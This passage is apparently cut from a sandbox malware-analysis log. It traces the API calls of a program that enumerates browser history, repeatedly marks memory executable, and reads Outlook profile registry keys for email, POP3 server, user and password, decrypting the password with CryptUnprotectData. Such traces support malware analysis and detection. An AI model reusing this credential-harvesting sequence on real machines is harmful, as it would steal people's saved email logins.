lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/VE_y247Ot3u_6gTd.otsDu1jaODNbm6Rg/VE_y247Ot3u_6gTd.ots", lpUsedDefaultChar=0x0) returned 75 [0163.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e127c, cbMultiByte=75, lpWideCharStr=0x1fcf2c50, cchWideChar=151 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/VE_y247Ot3u_6gTd.ots῏⳨῏⳨῏\x84") returned 75 [0163.099] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.100] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/x4JnVvIYvtpI6A0fRYm.jpg", cchWideChar=57, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/x4JnVvIYvtpI6A0fRYm.jpgjz/Desktop/x4JnVvIYvtpI6A0fRYm.jpg", lpUsedDefaultChar=0x0) returned 57 [0163.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=57, lpWideCharStr=0x1f0264ec, cchWideChar=115 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/x4JnVvIYvtpI6A0fRYm.jpg") returned 57 [0163.100] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.100] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/hOfB.docx", cchWideChar=77, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/hOfB.docx_qC44f0vdNG/bFhzBCrd4x8i/hOfB.docx", lpUsedDefaultChar=0x0) returned 77 [0163.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025954, cbMultiByte=77, lpWideCharStr=0x1e7e0050, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/hOfB.docxἂìṾìṾ\x88") returned 77 [0163.100] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.100] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/zpMSgs.pps", cchWideChar=63, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/zpMSgs.ppsktop/P0Hc9z_vVr1Uxdn12a/zpMSgs.pps", lpUsedDefaultChar=0x0) returned 63 [0163.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=63, lpWideCharStr=0x1fcf2cec, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/zpMSgs.pps") returned 63 [0163.100] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.101] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/r9Qw9lZf0w4xf4%20E3m.png", cchWideChar=66, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/r9Qw9lZf0w4xf4%20E3m.pnga/Roaming/r9Qw9lZf0w4xf4%20E3m.png", lpUsedDefaultChar=0x0) returned 66 [0163.101] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025bd8, cbMultiByte=66, lpWideCharStr=0x1fcf2ed8, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/r9Qw9lZf0w4xf4%20E3m.png嚼ἂ⽠῏⽠῏ ") returned 66 [0163.101] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x0) returned 0x1 [0163.101] IUnknown:Release (This=0x1e244de8) returned 0x3 [0163.101] IUnknown:Release (This=0x1e2a39f8) returned 0x0 [0163.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022858, cbMultiByte=58, lpWideCharStr=0x1e7debfc, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2\x10\x02") returned 58 [0163.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.110] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x1, phkResult=0x1e7dfbfc | out: phkResult=0x1e7dfbfc*=0x0) returned 0x2 [0163.110] RegCloseKey (hKey=0x0) returned 0x6 [0163.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0238, cbMultiByte=89, lpWideCharStr=0x1e7dec58, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook瞽䫼榴猀Ƭ[") returned 89 [0163.111] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x0) returned 0x2 [0163.111] RegCloseKey (hKey=0x0) returned 0x6 [0163.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0228a0, cbMultiByte=55, lpWideCharStr=0x1e7dec58, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0163.111] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x0) returned 0x2 [0163.111] RegCloseKey (hKey=0x0) returned 0x6 [0163.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0228e4, cbMultiByte=55, lpWideCharStr=0x1e7dec58, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0163.112] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.112] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="0a0d020000000000c000000000000046") returned 0x0 [0163.112] RegEnumKeyW (in: hKey=0x628, dwIndex=0x1, lpName=0x1e7df434, cchName=0x800 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a") returned 0x0 [0163.112] RegEnumKeyW (in: hKey=0x628, dwIndex=0x2, lpName=0x1e7df434, cchName=0x800 | out: lpName="189cba75c69c634996739bac92103ebb") returned 0x0 [0163.112] RegEnumKeyW (in: hKey=0x628, dwIndex=0x3, lpName=0x1e7df434, cchName=0x800 | out: lpName="1a8bd43e654f65418fbafadeef063a57") returned 0x0 [0163.112] RegEnumKeyW (in: hKey=0x628, dwIndex=0x4, lpName=0x1e7df434, cchName=0x800 | out: lpName="1cfb96c6c96b454ebff73da2e9f63f51") returned 0x0 [0163.112] RegEnumKeyW (in: hKey=0x628, dwIndex=0x5, lpName=0x1e7df434, cchName=0x800 | out: lpName="3517490d76624c419a828607e2a54604") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0x6, lpName=0x1e7df434, cchName=0x800 | out: lpName="467888fc50a6c6448d6cc0cf7b5307d6") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0x7, lpName=0x1e7df434, cchName=0x800 | out: lpName="48dea081c9634a43a6861907855add5c") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0x8, lpName=0x1e7df434, cchName=0x800 | out: lpName="55aad8d134512d438564aa678cb92d66") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0x9, lpName=0x1e7df434, cchName=0x800 | out: lpName="71b0295bef58e344911262b243f005ac") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0xa, lpName=0x1e7df434, cchName=0x800 | out: lpName="8503020000000000c000000000000046") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0xb, lpName=0x1e7df434, cchName=0x800 | out: lpName="9207f3e0a3b11019908b08002b2a56c2") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0xc, lpName=0x1e7df434, cchName=0x800 | out: lpName="9375CFF0413111d3B88A00104B2A6676") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0xd, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x0 [0163.113] RegEnumKeyW (in: hKey=0x628, dwIndex=0xe, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.114] RegCloseKey (hKey=0x628) returned 0x0 [0163.114] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.114] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.114] RegCloseKey (hKey=0x628) returned 0x0 [0163.114] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.114] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.114] RegCloseKey (hKey=0x628) returned 0x0 [0163.114] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.114] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.115] RegCloseKey (hKey=0x628) returned 0x0 [0163.115] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.115] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.115] RegCloseKey (hKey=0x628) returned 0x0 [0163.115] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.115] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.115] RegCloseKey (hKey=0x628) returned 0x0 [0163.115] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.115] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.115] RegCloseKey (hKey=0x628) returned 0x0 [0163.116] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\467888fc50a6c6448d6cc0cf7b5307d6", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.116] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.116] RegCloseKey (hKey=0x628) returned 0x0 [0163.116] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.116] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.116] RegCloseKey (hKey=0x628) returned 0x0 [0163.116] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.116] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.116] RegCloseKey (hKey=0x628) returned 0x0 [0163.117] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.117] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.117] RegCloseKey (hKey=0x628) returned 0x0 [0163.117] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.117] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.117] RegCloseKey (hKey=0x628) returned 0x0 [0163.117] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.117] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="f86ed2903a4a11cfb57e524153480001") returned 0x103 [0163.117] RegCloseKey (hKey=0x628) returned 0x0 [0163.118] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0x1e7dfc68 | out: phkResult=0x1e7dfc68*=0x628) returned 0x0 [0163.118] RegEnumKeyW (in: hKey=0x628, dwIndex=0x0, lpName=0x1e7df434, cchName=0x800 | out: lpName="00000001") returned 0x0 [0163.118] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", phkResult=0x1e7dfc64 | out: phkResult=0x1e7dfc64*=0x62c) returned 0x0 [0163.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.119] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x630) returned 0x0 [0163.119] RegQueryValueExW (in: hKey=0x630, lpValueName="Email", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x0, lpData=0x1e7de964*=0x0, lpcbData=0x1e7deb68*=0xfe) returned 0x2 [0163.119] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.119] RegCloseKey (hKey=0x62c) returned 0x0 [0163.119] RegEnumKeyW (in: hKey=0x628, dwIndex=0x1, lpName=0x1e7df434, cchName=0x800 | out: lpName="00000002") returned 0x0 [0163.119] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", phkResult=0x1e7dfc64 | out: phkResult=0x1e7dfc64*=0xf4) returned 0x0 [0163.120] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x634) returned 0x0 [0163.120] RegQueryValueExW (in: hKey=0x634, lpValueName="Email", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x1e7deb68*=0x1e) returned 0x0 [0163.120] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=11, lpWideCharStr=0x1e7ddb6c, cchWideChar=2047 | out: lpWideCharStr="POP3 Serverṽ￾ǿ") returned 11 [0163.120] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x638) returned 0x0 [0163.121] RegQueryValueExW (in: hKey=0x638, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="fgerh", lpcbData=0x1e7deb68*=0xc) returned 0x0 [0163.121] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022928, cbMultiByte=4, lpWideCharStr=0x1e7ddb74, cchWideChar=2047 | out: lpWideCharStr="POP3verṽ￾ǿ") returned 4 [0163.121] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x63c) returned 0x0 [0163.121] RegQueryValueExW (in: hKey=0x63c, lpValueName="Email", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x1e7deb68*=0x1e) returned 0x0 [0163.121] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.122] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x640) returned 0x0 [0163.122] RegQueryValueExW (in: hKey=0x640, lpValueName="POP3 User", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x1e7deb68*=0x1e) returned 0x0 [0163.122] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.122] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb64 | out: phkResult=0x1e7deb64*=0x644) returned 0x0 [0163.125] RegQueryValueExW (in: hKey=0x644, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x1e7deb6c, lpData=0x1e7de964, lpcbData=0x1e7deb68*=0xfe | out: lpType=0x1e7deb6c*=0x1, lpData="fgerh", lpcbData=0x1e7deb68*=0xc) returned 0x0 [0163.125] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.126] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7deb6c | out: phkResult=0x1e7deb6c*=0x648) returned 0x0 [0163.126] RegQueryValueExW (in: hKey=0x648, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x1e7deb74, lpData=0x1e7deb68, lpcbData=0x1e7deb70*=0x4 | out: lpType=0x1e7deb74*=0x0, lpData=0x1e7deb68*=0x0, lpcbData=0x1e7deb70*=0x4) returned 0x2 [0163.126] RegCloseKey (hKey=0x80000001) returned 0x0 [0163.126] RegQueryValueExW (in: hKey=0xf4, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x1e7dfc5c, lpData=0x1e7dec34, lpcbData=0x1e7dfc58*=0x400 | out: lpType=0x1e7dfc5c*=0x3, lpData=0x1e7dec34*, lpcbData=0x1e7dfc58*=0x131) returned 0x0 [0163.126] CryptUnprotectData (in: pDataIn=0x1e7deb70, ppszDataDescr=0x0, pOptionalEntropy=0x0, pvReserved=0x0, pPromptStruct=0x0, dwFlags=0x1, pDataOut=0x1e7deb78 | out: ppszDataDescr=0x0, pDataOut=0x1e7deb78) returned 1 [0163.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, 